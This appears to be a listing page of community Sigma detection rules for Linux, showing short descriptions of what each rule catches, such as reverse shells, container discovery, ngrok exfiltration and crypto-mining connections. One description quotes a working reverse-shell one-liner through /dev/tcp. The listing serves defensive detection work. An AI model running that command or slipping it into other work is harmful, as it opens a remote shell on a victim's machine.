Detections

Explore public detection logic contributed by the community across SIEM and rule languages.

1,052 detections

Detects usage of "find" binary in a suspicious manner to perform discovery
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
302
Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects execution of shells from a parent process located in a temporary (/tmp) directory
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
002
Detects suspicious command with /dev/tcp
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects the creation of shell scripts under the "profile.d" path.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects process connections to a Monero crypto mining pool
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects the usage of the unsafe bpftrace option
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects usage of crontab to list the tasks of the user
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects execution of the "groupdel" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects execution of binaries located in potentially suspicious locations via "nohup"
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.
SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including
Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects execution of the perl binary with the "-e" flag and common strings related to potential reverse shell activity
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
101
Detects usage of the PHP CLI with the "-r" flag which allows it to run inline PHP code. The rule looks for calls to the "fsockopen" function which allows the creation of sockets.
Attackers often leverage this in combination with functions such as "exec" or "fopen" to initiate a reverse shell connection.
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
201
Detects execution of ruby with the "-e" flag and calls to "socket" related functions. This could be an indication of a potential attempt to setup a reverse shell
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects usage of system utilities (only grep and egrep for now) to discover security software discovery
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects a suspicious curl process start on linux with set useragent options
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious
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SigmaHQ Detections@sigmaHQ
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SigmaHQ
2 years ago
001
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